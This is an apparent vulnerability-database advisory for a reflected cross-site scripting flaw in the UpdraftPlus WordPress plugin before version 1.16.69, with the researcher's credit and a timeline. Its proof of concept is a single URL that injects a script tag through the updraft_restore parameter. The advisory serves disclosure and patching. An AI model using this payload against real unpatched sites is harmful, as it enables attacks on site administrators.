WordPress Plugin Vulnerabilities
UpdraftPlus < 1.16.69 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the updraft_restore parameter before outputting it back in the Restore page, leading to a Reflected Cross-Site Scripting
Proof of Concept
https://example.com/wp-admin/options-general.php?page=updraftplus&job_id&updraft_restore%5B0%5D=%3Cscript%3Ealert%28/XSS/%29%3C%2Fscript%3E&action=updraft_restore&backup_timestamp=123&updraftplus_ajax_restore=start_ajax_restore
Affects Plugins
Fixed in 1.16.69 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-12-28 (about 2 years ago)
Added
2021-12-28 (about 2 years ago)
Last Updated
2022-09-26 (about 1 years ago)
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